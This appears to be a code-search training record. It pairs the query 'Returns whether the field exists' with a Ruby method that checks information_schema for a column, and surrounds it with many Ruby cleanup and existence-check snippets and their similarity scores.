#old_unit.images.all.each do |old_image|\n # old_image.destroy\n #end\n old_unit.destroy\n end\n old_version.destroy\n end\n end\n end", "def destroy_model_data(*args)\n if self.class.repository.delete(statements) && self.class.repository.delete([nil, nil, subject])\n @destroyed = true\n freeze\n end\n end", "def destroy_all\n repositories.each {|name, repo| repo.destroy}\n end", "def setup\n clear_db\n\n @db = Wgit::Database.new\n end", "def remove_previously_stored_image\n begin\n super\n rescue Fog::Storage::Rackspace::NotFound\n @previous_model_for_image = nil\n end\n end", "def finalize\n @entities.clear\n end", "def revert!\n track_changes_save = self.class.track_changes_save\n self.class.track_changes_save = false\n self.transaction do\n content_versions.each do | c |\n if c.content.version == c.version\n c.content.revert_to(c)\n end\n end\n content_key_versions.each do | c |\n if c.content_key.version == c.version\n c.content_key.revert_to(c)\n end\n end\n end\n ensure \n self.class.track_changes = track_changes_save\n end", "def clean_up\n execute(\"rm -rf #{namespace_dir}\")\n end", "def discard_transaction\n\t clear_relations\n\tend", "def break_relations\n # delete the relations between projects and tags\n # ( category is also be a kind of tags )\n dtp = TagcloudsProject.find :all, :conditions => { :tagcloud_id => self.id }\n dtp.each { | dp | dp.destroy } unless dtp.empty?\n\n # remove the categories of projects\n if self.tag_type == Tagcloud::TYPE[ :CATEGORY ]\n projs = Project.find :all, :conditions => { :category => self.id }\n projs.each { | p | p.category = nil; p.save }\n end\n end", "def destroy_model_storage(repository, model)\n if ENV['destroy']!=nil && ENV['destroy']=='true'\n sdb.delete_domain(@uri[:domain])\n end\n end", "def prune\n raise BioInterchange::Exceptions::ImplementationModelError, 'Pruning is not implemented by this model'\n end", "def purge\n self.files.each do |f|\n f.destroy\n end\n self.commits.each do |c|\n c.destroy\n end\n end", "def teardown\n FileUtils.rm_rf(\"test/resources/IncludesSinceTestRepository\")\n end", "def recycle\n self.demolish\n self.build\n\n true\n end", "def cleanup_state\n delete_if_exists(state_file_path)\n delete_if_exists(chef_file_path)\n delete_if_exists(past_scripts_path)\n delete_if_exists(log_path)\n end", "def destroy_model_storage(repository, model)\n raise NotImplementedError\n end", "def test_unflatten_model\r\n comm = @mymodel.commentary = 'should be able to recover'\r\n desc = @mymodel.description\r\n name = @mymodel.name\r\n ident = @mymodel.ident\r\n \r\n data = @mymodel.flatten_data\r\n Model.delete(@mymodel)\r\n\r\n seco = Model.model_from_data(data)\r\n\r\n assert_equal(ident, seco.ident) \r\n assert_equal(name, seco.name)\r\n assert_equal(desc, seco.description)\r\n assert_equal(comm, seco.commentary) \r\n \r\n end", "def revert\n end", "def reload!\n Aura.models.each { |m| m.send :set_columns, nil }\n end", "def destroy\n # remove this model from the model tree\n parent.try(:remove_descendant, self)\n mixins.each {|mixin| mixin.remove_descendant(self)}\n \n # destroy model subclasses, and all record instances\n children.each(&:destroy)\n all.each(&:destroy)\n \n # remove the association between the site and this model\n site.model_types.delete(name.underscore.pluralize)\n site.model_plural_names.delete(name)\n site.save\n \n # remove any remaining indexes\n indexes.each do |name|\n RecordIndex.remove_index_for_model(self, name)\n end\n \n record_fields.each do |name, field|\n RecordIndex.remove_index_for_field(self, field) if field.index?\n end\n \n # destroy the model record\n super\n end", "def hard_clean!\n open_db\n @file.truncate(PREAMBLE_SIZE)\n write_fresh_database\n end", "def persist\n prepare do\n document.attributes.delete(field)\n execute(\"$unset\")\n end\n end", "def reset\n initialize\n @log = nil\n @default_model = nil\n end", "def auto_upgrade!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).upgrade_model_storage(self)\n else\n base_model.auto_upgrade!(repository_name)\n end\n end", "def ensure_deletion_fixes \n # TO DO\n end", "def drop_infrastructure\n drop_event_log if event_log_exists?\n drop_sync_state if sync_state_exists?\n drop_change_logs\n drop_activity_markers\n end", "def purge\n ModelHelper::destroy_backup self\n end", "def clear_db\n users = User.all\n users.delete_all\n companies = Company.all\n companies.delete_all\n feedbacks = Feedback.all\n feedbacks.delete_all\n co_emp = CompanyEmployee.all\n co_emp.delete_all\n projects = Project.all\n projects.delete_all\n proj_fb = ProjectFeedback.all\n proj_fb.delete_all\nend", "def remove_old_package\n template_files.clear\n test_cases.clear\n self.import_job = nil\n end", "def clean_up\n if self.deleted?\n # clean room type mapping\n RoomTypeChannelMapping.find_all_by_room_type_id(self.id).each do |rtcm|\n rtcm.update_attribute(:deleted, true)\n end\n # clean master rate mapping\n RoomTypeMasterRateMapping.find_all_by_room_type_id(self.id).each do |rtmr|\n RoomTypeMasterRateChannelMapping.find_all_by_room_type_master_rate_mapping_id(rtmr.id).each do |rtc|\n rtc.update_attribute(:deleted, true)\n end\n rtmr.update_attribute(:deleted, true)\n end\n # clean availability link from\n RoomTypeInventoryLink.find_all_by_room_type_from_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n # clean availability link to\n RoomTypeInventoryLink.find_all_by_room_type_to_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n end\n end", "def destroy_model_storage(repository, model)\n return true unless storage_exists?(model.storage_name(repository.name))\n success = without_notices { super }\n model.properties(repository.name).each do |property|\n drop_sequence(repository, property) if property.serial?\n end\n success\n end", "def teardown\n FileUtils.rm_rf(\"test/resources/idReportTestRepository\")\n end" ]
[ "0.639126", "0.62017536", "0.60449237", "0.6027914", "0.6019219", "0.6000072", "0.59205836", "0.59133565", "0.5908567", "0.5843638", "0.58156765", "0.57163525", "0.5710001", "0.5706957", "0.5704037", "0.5702099", "0.56854624", "0.567664", "0.5653754", "0.56279075", "0.56165606", "0.5602026", "0.5591654", "0.5562697", "0.5545692", "0.55073255", "0.55059797", "0.54951143", "0.5476009", "0.5453483", "0.5449303", "0.5446922", "0.54310375", "0.5413084", "0.5407135", "0.53628296", "0.53446907", "0.5342607", "0.53365165", "0.5329494", "0.5325854", "0.5325699", "0.5325699", "0.53064", "0.5300022", "0.52948153", "0.5290817", "0.5287181", "0.52863467", "0.5284294", "0.52835214", "0.52794826", "0.5278574", "0.5275648", "0.5273605", "0.5272721", "0.5271724", "0.5254331", "0.52452666", "0.52413", "0.5238242", "0.52377534", "0.52302647", "0.5226895", "0.52244544", "0.5222896", "0.5205594", "0.5205072", "0.5201812", "0.51880914", "0.51865864", "0.51846", "0.5181946", "0.5180946", "0.5171149", "0.51578915", "0.5156242", "0.51392394", "0.51352733", "0.5131682", "0.5129332", "0.5127868", "0.5122261", "0.5120964", "0.5112005", "0.51075995", "0.50911254", "0.50900835", "0.50887555", "0.5085257", "0.5084123", "0.5079485", "0.5076782", "0.5071752", "0.5069065", "0.50667834", "0.50585854", "0.5051447", "0.50454754", "0.5039932", "0.50280297" ]
0.0
-1
Returns whether the storage_name exists.
def storage_exists?(storage_name) statement = <<-SQL.compress_lines SELECT COUNT(*) FROM "information_schema"."tables" WHERE "table_type" = 'BASE TABLE' AND "table_schema" = ? AND "table_name" = ? SQL query(statement, schema_name, storage_name).first > 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def storage_exists?(storage_name)\n adapter.storage_exists?(storage_name)\n end", "def storage_exists?\n File.exists?(file_path)\n end", "def storage_exists?(storage_name)\n statement = <<-EOS.compress_lines\n SELECT COUNT(*)\n FROM `information_schema`.`columns`\n WHERE `table_schema` = ? AND `table_name` = ?\n EOS\n\n query(statement, db_name, storage_name).first > 0\n end", "def exists?\n storage.exists?(id)\n end", "def exists?(name)\n return false if empty? || absent?(name)\n\n storage.include?(name)\n end", "def storage_exists(storage_name)\n data, _status_code, _headers = storage_exists_with_http_info(storage_name)\n data\n end", "def storage_exists(storage_name, opts = {})\r\n data, _status_code, _headers = storage_exists_with_http_info(storage_name, opts)\r\n data\r\n end", "def get_is_storage_exist(request)\n data, _status_code, _headers = get_is_storage_exist_with_http_info(request)\n data\n end", "def exists_on_cloud?(name)\n ret_val = @connection.query_azure(\"storageservices/#{name}\")\n error_code, error_message = error_from_response_xml(ret_val) if ret_val\n if ret_val.nil? || error_code.length > 0\n Chef::Log.warn 'Unable to find storage account:' + error_message + ' : ' + error_message if ret_val\n false\n else\n true\n end\n end", "def exists?\n # if the entry '/storage-pools/somename' is present within array returned from /storage-pools\n # then the storage pool somename exists\n storage_array = get_api_node(['storage-pools'])\n return storage_array.include? return_api_path(['storage-pools', resource[:name]])\n end", "def storage_exists(storage_name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = storage_exists_with_http_info(storage_name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = storage_exists_with_http_info(storage_name, opts)\n else\n raise\n end\n return data\n end", "def storage_exists(storage_name, opts = {})\n data, _status_code, _headers = storage_exists_with_http_info(storage_name, opts)\n return data\n end", "def storage_exists(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'StorageExist')\n end", "def exists?(name)\n return @azure_storage_accounts.key?(name) if @azure_storage_accounts\n self.exists_on_cloud?(name)\n end", "def block_storage?\n name.include?(\"BlockStorage\")\n end", "def object_storage?\n name.include?(\"ObjectStorage\")\n end", "def exists?\n begin\n partition= resource[:name]\n device=partition[0,(partition.length-1)]\n if File.exist?(partition)\n true\n else\n false\n end\n end\n end", "def exists?\n\t\t# Look for volume\n\t\t@vol_id = DSMAPIVolume.find_volume(@resource[:name], @resource[:storagecenter])\n\t\tif @vol_id == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend", "def exists?\n return File.exists?(\"/tmp/cloud-#{resource[:name]}\")\n end", "def exists?\n return File.exists?(\"/tmp/cloud-#{resource[:name]}\")\n end", "def exists?\n return File.exists?(\"/tmp/cloud-#{resource[:name]}\")\n end", "def field_exists?(storage_name, field_name)\n true\n end", "def registered?(name)\n return false if storage.empty?\n\n storage.include?(name)\n end", "def exists?\n bucket.exists?(path)\n end", "def exists?\n name_exists? ? exact_deployment? : false\n end", "def registered?(name)\n return false if empty?\n\n storage.include?(name)\n end", "def storage?\n options[:storage]\n end", "def registered?(name)\n return false if storage.empty?\n\n storage.include?(name)\n end", "def storage_available?\n return @storage_available if @storage_available\n\n if @storage_available = Gitlab::Git::Storage::ForkedStorageCheck\n .storage_available?(storage_path, storage_timeout, access_retries)\n track_storage_accessible\n else\n track_storage_inaccessible\n end\n\n @storage_available\n end", "def exists?\n persistent? && (filename && filename.exist?)\n end", "def exists?\n volumes = Hash.new\n qmgmt(['volume', 'list']).each_line { |l|\n if ( l.match(/^Name/) )\n next\n end\n line = l.split(/\\s{2,}/)\n volumes[line.shift()] = true\n }\n\n if ( volumes[resource[:name]] )\n return true\n else\n return false\n end\n end", "def empty?\n storage.empty?\n end", "def empty?\n storage.empty?\n end", "def empty?\n storage.empty?\n end", "def player_exist?(name)\n log \"Checking existence of #{name}\", Logger::Medium\n @storage.player_exist?(name)\n end", "def exist?\n nil\n end", "def exist?\n true\n end", "def get_storage_account(name)\n return false if name.nil?\n flag = false\n storage_accounts = Azure::StorageManagementService.new.list_storage_accounts\n storage_accounts.each do |storage|\n if storage.name == name\n flag = true\n break\n end\n end\n flag\n end", "def exists?\n provider.exists?\n end", "def exists?\n queue_exists?(@name)\n end", "def storage_exists_with_http_info(storage_name, opts = {})\r\n if @api_client.config.debug\r\n @api_client.config.logger.debug 'Calling API: StorageApi.storage_exists ...'\r\n end\r\n # verify the required parameter 'storage_name' is set\r\n if @api_client.config.client_side_validation && storage_name.nil?\r\n fail ArgumentError, \"Missing the required parameter 'storage_name' when calling StorageApi.storage_exists\"\r\n end\r\n # resource path\r\n local_var_path = '/html/storage/exist/storage'\r\n\r\n # query parameters\r\n query_params = {}\r\n query_params[:'storageName'] = storage_name.to_s\r\n\r\n # header parameters\r\n header_params = {}\r\n # HTTP header 'Accept' (if needed)\r\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\r\n # HTTP header 'Content-Type'\r\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n # http body (model)\r\n post_body = nil\r\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :return_type => 'StorageExist')\r\n if @api_client.config.debug\r\n @api_client.config.logger.debug \"API called: StorageApi#storage_exists\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n return data, status_code, headers\r\n end", "def storage_exists_with_http_info(storage_name)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.storage_exists ...'\n end\n\n # verify the required parameter 'storage_name' is set\n if @api_client.config.client_side_validation && storage_name.nil?\n fail ArgumentError, \"Missing the required parameter 'storage_name' when calling SlidesApi.storage_exists\"\n end\n # resource path\n local_var_path = '/slides/storage/{storageName}/exist'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'storageName', storage_name)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'StorageExist')\n return data, status_code, headers\n end", "def exists?\n\t\tprovider.exists?\n\tend", "def exists?\n\t\tprovider.exists?\n\tend", "def exists?\n retrieve\n true\n rescue Error::NoSuchKey\n false\n end", "def storage_exists_with_http_info(storage_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: StorageApi.storage_exists ...\"\n end\n # verify the required parameter 'storage_name' is set\n if @api_client.config.client_side_validation && storage_name.nil?\n fail ArgumentError, \"Missing the required parameter 'storage_name' when calling StorageApi.storage_exists\"\n end\n # resource path\n local_var_path = \"/diagram/storage/{storageName}/exist\".sub('{' + 'storageName' + '}', storage_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'StorageExist')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StorageApi#storage_exists\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def exist?(key)\n store.key?(key)\n end", "def exists?()\n\t\t\treturn @metadata.exists?\n\t\tend", "def exists?(name)\n get(name).exists?\n end", "def exists?(name)\n self[name] != nil\n end", "def is_stored_in(storageName)\n class_for_name(@templateName).instance_eval {\n @storage_name = storageName\n class << self\n attr_reader :storage_name\n end\n }\n end", "def allowed? storage\n return true if Boom.local?\n return true if allowed_storage_types.include? storage.class\n\n output error_message storage\n false\n end", "def exist?\n stat ? true : false\n end", "def s3_exists?\n self.s3_object.exists?\n end", "def exists? name\r\n\t\t\tunless @data[name].nil?\r\n\t\t\t\ttrue\r\n\t\t\telse\r\n\t\t\t\tfalse\r\n\t\t\tend\r\n\t\tend", "def exist?\n not self.name.nil?\n end", "def exist?\n @local_path and @local_path.exist?\n end", "def exists?\n @provider.get(:ensure) != :absent\n end", "def controller_exists(name, controller_name)\n out, err = Open3.capture2e(\"VBoxManage showvminfo #{name}\")\n\n return false if err.exitstatus != 0\n\n out.split(/\\n/)\n .select { |x| x.start_with? 'Storage Controller Name' }\n .map { |x| x.split(':')[1].strip }\n .any? { |x| x == controller_name }\nend", "def controller_exists(name, controller_name)\n out, err = Open3.capture2e(\"VBoxManage showvminfo #{name}\")\n\n return false if err.exitstatus != 0\n\n out.split(/\\n/)\n .select { |x| x.start_with? 'Storage Controller Name' }\n .map { |x| x.split(':')[1].strip }\n .any? { |x| x == controller_name }\nend", "def exists?\n redis.exists(name)\n end", "def file_exists?\n filepath.present? && s3_object(false).exists?\n end", "def exists?\n result = loaddata\n unless result[:result]\n Puppet.debug 'JMS Queue do not exists'\n return false\n end\n true\n end", "def exists?\n zk.exists?(path)\n end", "def exist?\n workspace_info.exist?\n end", "def exists?\n !service.get_table(instance_id, name, view: :NAME_ONLY).nil?\n rescue Google::Cloud::NotFoundError\n false\n end", "def name_exists?\n ensure_data_loaded\n return false unless @exist\n unless @data['name'].nil?\n Puppet.debug \"Deployment found: #{@resource[:name]}\"\n return true\n end\n Puppet.debug \"No deployment matching #{@resource[:name]} found.\"\n false\n end", "def exists?\n File.exists?(@resource[:name])\n end", "def exists?\n @lxc.exists?(self.name)\n end", "def exists?\n\t\t# Look for cluster\n\t\t@cluster_id = DSMAPIServer.find_server(@resource[:name], @resource[:storagecenter])\n\t\tif @cluster_id == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend", "def exists?\n\t\treturn false\n\tend", "def controller_exists(name, controller_name)\n return false if name.nil?\n\n out, err = Open3.capture2e(\"VBoxManage showvminfo #{name}\")\n raise out unless err.exitstatus === 0\n\n out.split(/\\n/)\n .select { |x| x.start_with? 'Storage Controller Name' }\n .map { |x| x.split(':')[1].strip }\n .any? { |x| x == controller_name }\nend", "def is_local_datastore?(name)\n !!name.match(/local-storage-\\d+|DAS\\d+/)\n end", "def exists?\n stats.key? @resource[:name]\n end", "def exists?\n # self.class.exists?(:filename => filename)\n 'CarrierWave::Storage::ActiveRecord::File#exists? FIXME!'\n end", "def closed?\n storages.inject(true) do |r, (_, storage)|\n r && storage.path.nil?\n end\n end", "def exists?(name)\n begin\n g = list([name.to_s])\n rescue ::AWS::InvalidGroupNotFound\n return false \n end\n \n !g.empty?\n end", "def exists?\n @exists == true\n end", "def exists?\n File.exists? vmx_path\n end", "def exists?(key)\n s3_object(key).exists?\n end", "def exists? path\n find_blob(full_path(path))\n end", "def exists?\n !@not_found\n end", "def registered?(alias_name)\n return false if empty? || absent?(alias_name)\n\n storage.include?(alias_name)\n end", "def field_exists?(storage_name, field_name)\n raise NotImplementedError\n end", "def has_rackspace_metadata?\n status, stdout, stderr = xenstore_command(\"read\", \"vm-data/provider_data/provider\")\n if status == 0\n stdout.strip.downcase == 'rackspace'\n else\n false\n end\nend", "def exists?\n @exists\n end", "def exists?\n res = cfn_client.describe_stacks( stack_name: stack_name )\n return res.stacks.length > 0\n rescue => e\n return false\n end", "def exist?\n @metadata_file_path.file? and @metadata_file_path.readable?\n end", "def storage_name\n @storage_name || name\n end", "def exists?\n start = Time.now\n debug \"Checking if device group \\\"#{resource[:full_path]}\\\" exists\"\n connection = self.class.get_connection(resource[:account])\n if resource[:full_path].eql?('/')\n true\n else\n device_group = get_device_group(connection, resource[:full_path])\n debug device_group unless nil_or_empty?(device_group)\n debug \"Finished in #{(Time.now-start)*1000.0} ms\"\n nil_or_empty?(device_group) ? false : true\n end\n end", "def already_stored?\n !file_uniqueness\n end", "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end", "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end", "def field_exists?(storage_name, field_name)\n raise NotImplementedError\n end", "def exists?(name)\r\n \t!template_paths(name).empty?\r\n end", "def exists?\n true\n end", "def exist?\n @resource.exist?\n end", "def exists?\n !data.empty?\n end", "def exist?(name)\n @redis.exists(name)\n end", "def exist?\n !!@exist\n end" ]
[ "0.88591945", "0.82302403", "0.80905616", "0.80009574", "0.7941318", "0.78460103", "0.7721265", "0.7615959", "0.74903995", "0.74706876", "0.7453015", "0.73492277", "0.73485243", "0.724435", "0.71824926", "0.7099948", "0.7092438", "0.69954437", "0.6970955", "0.6970955", "0.6970955", "0.69567096", "0.6954348", "0.692282", "0.6904653", "0.6893589", "0.687777", "0.68617326", "0.6786356", "0.67708236", "0.67477036", "0.67181313", "0.67181313", "0.6717011", "0.66888976", "0.66561675", "0.6646498", "0.66341037", "0.66104656", "0.6609158", "0.6607807", "0.65898776", "0.65881073", "0.65881073", "0.652242", "0.65216815", "0.6492874", "0.64843625", "0.648183", "0.6471847", "0.6466719", "0.6464369", "0.646404", "0.64636534", "0.6457446", "0.64569986", "0.6449435", "0.644717", "0.6413474", "0.64130116", "0.6410064", "0.6409278", "0.64057624", "0.64039886", "0.637963", "0.6377257", "0.63730466", "0.63719", "0.63667876", "0.6363459", "0.6359868", "0.6353542", "0.63500434", "0.63434654", "0.6341248", "0.63318825", "0.63194567", "0.63039535", "0.62987494", "0.629235", "0.62869155", "0.62825716", "0.62721187", "0.6266455", "0.6265582", "0.626219", "0.6256882", "0.62567645", "0.62481743", "0.62445635", "0.62267494", "0.6220193", "0.6220193", "0.62155354", "0.6213031", "0.6207772", "0.6198094", "0.61971843", "0.6174061", "0.61614186" ]
0.82422173
1
Returns whether the field exists.
def field_exists?(storage_name, column_name) statement = <<-SQL.compress_lines SELECT COUNT(*) FROM "information_schema"."columns" WHERE "table_schema" = ? AND "table_name" = ? AND "column_name" = ? SQL query(statement, schema_name, storage_name, column_name).first > 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_field?(field_name); end", "def field_exists?(storage_name, field_name)\n true\n end", "def has_field?(name)\n fields.key?(name.to_sym)\n end", "def field_exists?(name)\n @fields.key?(name.to_s) || @fields.key?(name.to_sym)\n end", "def has_field(field_name)\n\t\tend", "def field?(name)\n ! self[name].nil?\n end", "def has_field?(field_name)\n @data.has_key?(AudioMetadata.field_name_for(field_name))\n end", "def has_field?(field_)\n case field_\n when Schema::Field\n @_field_path.include?(field_)\n when ::Integer\n @_field_path.size > field_ && field_ >= 0\n when ::String, ::Symbol\n @_values.has_key?(@_format.schema.canonical_name(field_))\n else\n raise ::ArgumentError\n end\n end", "def has_field?(name)\n aliased_fields.has_key?(name) || fields.has_key?(name)\n end", "def hasinfo?(field)\n @info[field] ? true : false\n end", "def field_exists?(storage_name, field_name)\n raise NotImplementedError\n end", "def field?\n true \n end", "def field_exists?(storage_name, field_name)\n statement = <<-EOS.compress_lines\n SELECT COUNT(*)\n FROM `information_schema`.`columns`\n WHERE `table_schema` = ? AND `table_name` = ? AND `column_name` = ?\n EOS\n\n query(statement, db_name, storage_name, field_name).first > 0\n end", "def field? name\n !!self.fields[name]\n end", "def has_key? field\n return self.containsKey(field)\n end", "def field_exists?(storage_name, field_name)\n raise NotImplementedError\n end", "def field_exists?(header)\n \n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n return child_fields.has_key? first_field\n\n else\n\n # we have a field_group name, i.e. a dynamic field group\n # first, see if that dynamic field group already exists\n return false if !(child_field_groups.has_key?(first_field))\n\n # At this point, the field_group exists, but we don't know if the\n # specified child in that field group exists. So ask\n return child_field_groups[first_field].field_exists(rest_of_header)\n \n end\n\n end", "def field?(name)\n @attributes.key?(name)\n end", "def is_dynamo_field?(field_name)\n # If result of this find is not nil it means the field does exist so return true because it is a dynamo field\n (cached_dynamo_fields.detect{|dynamo_field| dynamo_field.field_name == field_name}.nil?) ? false : true\n end", "def field? key\n @schema.field? key\n end", "def exists?\n @text_field.exists?\n end", "def field?\n false \n end", "def has_field?(field_name)\n direct_fields = self.fields\n foreigns.each do |f|\n foreign_dataset = self.class.dataset_from f\n if foreign_dataset\n direct_fields.concat foreign_dataset.fields\n end\n end\n direct_fields.include? field_name\n end", "def defined?(path, record)\n field_validator = JsonFieldValidator.new\n is_defined = field_validator.defined?(path[0], record)\n @@output.concat(field_validator.debug_output)\n unless is_defined\n @@defined_error_msg = field_validator.error_message\n end # unless\n return is_defined\n end", "def doesFieldExist(name,formName=\"\", frameName=\"\")\n\n fname = getFunctionName()\n log fname + ' Starting. Trying to see if field with name: ' + name + ' exists '\n messages = []\n\n container = getObjectContainer( name , formName, frameName )\n\n o = nil\n\n container.all.each do |c|\n next unless o == nil\n begin\n if c.invoke(\"type\").to_s.downcase ==\"text\"\n log fname + \" found text field #{c.name}\" \n if c.name.to_s == name and o == nil \n o = c\n log fname + \" found the correct text field #{c.name}\" \n end\n end\n rescue\n # probably no name\n end\n end\n\n return false if o == nil\n return true\n \n end", "def field_exists?(storage_name, column_name)\n statement = <<-SQL.compress_lines\n SELECT COUNT(*)\n FROM \"information_schema\".\"columns\"\n WHERE \"table_schema\" = current_schema()\n AND \"table_name\" = ?\n AND \"column_name\" = ?\n SQL\n\n query(statement, storage_name, column_name).first > 0\n end", "def has_key?(field_name); end", "def has_value?(value)\n field(with: value)\n end", "def has_value?(field_config)\n retrieve_values(field_config).present?\n end", "def has_field_reference(obj, key)\n value = obj[key] if obj.is_a? Hash\n return value.nil? ? false : !value.empty?\n end", "def has_fields?\n num_fields > 0\n end", "def show_field?(name)\n show_fields.key?(name)\n end", "def has_response_field?(field, target)\n !!get_response_field(field, target)\n end", "def yaml_field? name\n !!self.yaml_fields[name]\n end", "def has_value?(field_cfg)\n index_view ||\n field_cfg.accessor ||\n document.has?(field_cfg.field) ||\n (document.has_highlight_field?(field_cfg.field) if field_cfg.highlight)\n end", "def boolean_field_registered?(name)\n return boolean_fields[name.to_s] != nil\n end", "def field_provided?(key)\n return send(:\"#{key}_field_provided?\") if respond_to?(:\"#{key}_field_provided?\", true)\n\n !!@fields_provided[key]\n end", "def field_provided?(key)\n @params.has_key?(key)\n end", "def is_sphinx_field?(field_name)\n !sphinx_index.fields.find do |index_field|\n index_field.public? && (index_field.unique_name.to_s == field_name.to_s)\n end.nil?\n end", "def exists?\n !@not_found\n end", "def exists?\n @exists\n end", "def document_has_value? document, field_config\n document.has?(field_config.field) ||\n (document.has_highlight_field? field_config.field if field_config.highlight) ||\n field_config.accessor\n end", "def field? key\n @validators[String(key).to_sym].is_a? ::Proc\n end", "def dynamic_field?(field)\n dynamic_enabled? &&\n !fields.keys.include?(database_field_name(field)) &&\n !embedded_relations.map { |_, v| v.key }.include?(database_field_name(field))\n end", "def exists?\n !@exists.nil? && @exists\n end", "def exists?\n !@exists.nil? && @exists\n end", "def caprese_is_field?(field)\n respond_to?(field = field.to_sym) || caprese_is_attribute?(field) || self.class.caprese_field_aliases[field]\n end", "def exists?\n !@exists.nil? && @exists\n end", "def exists?\n !@exists.nil? && @exists\n end", "def exists?\n !@exists.nil? && @exists\n end", "def is_dynamic_field?(name)\n name = name.to_s.gsub(/\\=$/, '').to_sym\n !self.content_type.try(:find_field, name).nil?\n end", "def check_if_exists(obj, field, attributes = [], override_type = nil)\n # Not all types share the same values.\n # If we're changing types, the new type's getters matter, not the old type.\n return true if attributes.include?(field)\n\n if override_type\n Module.const_get(override_type).new.respond_to? field\n else\n obj.respond_to? field\n end\n end", "def exists?\n @exists == true\n end", "def exists?()\n #This is a stub, used for indexing\n end", "def has_errors?(field)\n !(object.nil? || object.errors[field].blank?)\n end", "def exists?\n !!@exists\n end", "def has_attribute?(name)\n val = @attributes[name]\n val.nil? ? false : (not val.empty?)\n end", "def exists?\n retrieve\n true\n rescue Error::NoSuchKey\n false\n end", "def tracked_field?(field, action = :update)\n dynamic_field?(field) || tracked_fields_for_action(action).include?(database_field_name(field))\n end", "def has_errors?\n @fields.any? do |field|\n field.error != ''\n end\n end", "def respond_to?(field)\n key = field.to_s\n key.chomp!('=')\n\n return true if @values.any? {|(name, _)| name == key}\n super\n end", "def exists?()\n\t\t\treturn @metadata.exists?\n\t\tend", "def empty?\n\t\treturn self.fields.empty?\n\tend", "def any_fields?\n num_fields.positive?\n end", "def exists?\n\t\treturn false\n\tend", "def exist?\n not self.name.nil?\n end", "def exists?\n\t\treturn self.entry ? true : false\n\tend", "def _in_cache?(field)\n return false if self.class._cache.blank?\n cached_obj = self.class._cache[\"#{object.id}.#{object.updated_at.to_i}\"]\n cached_obj.present? && cached_obj[field].present?\n end", "def field_has_error(model, field)\n error_count = 0\n model.errors.each do |f, error| \n error_count += 1 if f == field.to_sym\n end\n return error_count == 1\n end", "def exists?\n # Always true if we have a gapi object\n return true unless @gapi.nil?\n # If we have a value, return it\n return @exists unless @exists.nil?\n ensure_gapi!\n @exists = !@gapi.nil?\n end", "def field_provided?(key)\n return send(:\"#{key}_field_provided?\") if respond_to?(:\"#{key}_field_provided?\", true)\n\n @params.key?(key)\n end", "def exists?(name)\n self[name] != nil\n end", "def exists?(name)\n get(name).exists?\n end", "def exists?\n @property_hash[:ensure] == :present\n end", "def exists?\n @property_hash[:ensure] == :present\n end", "def exists?\n @property_hash[:ensure] == :present\n end", "def exists?\n @property_hash[:ensure] == :present\n end", "def _cached?(field)\n self.class._cacheable_fields.present? && self.class._cacheable_fields.include?(field.to_sym)\n end", "def exists?\n new? ? false : !this.get(SQL::AliasedExpression.new(1, :one)).nil?\n end", "def exists?\n new? ? false : !this.get(SQL::AliasedExpression.new(1, :one)).nil?\n end", "def has_key? (fei)\n\n (self[fei] != nil)\n end", "def exist?\n @exists\n end", "def custom_fields_for?(name)\n self.class.custom_fields_for?(name)\n end", "def is_searchable?\n self.fields.count > 0\n end", "def show_user_field?(field)\n return true unless @setup or current_user.blank?\n return true if @setup and current_user.required_profile_elements.include?(field)\n return false\n end", "def exists?\n load!\n true\n rescue RecordNotFound\n false\n end", "def facet_field?(name)\n facet_fields.key?(name)\n end", "def attribute_tagged_with?(field, tag)\n metafeta_store.has_key?(tag) && metafeta_store[tag].include?(field)\n end", "def exists? name\r\n\t\t\tunless 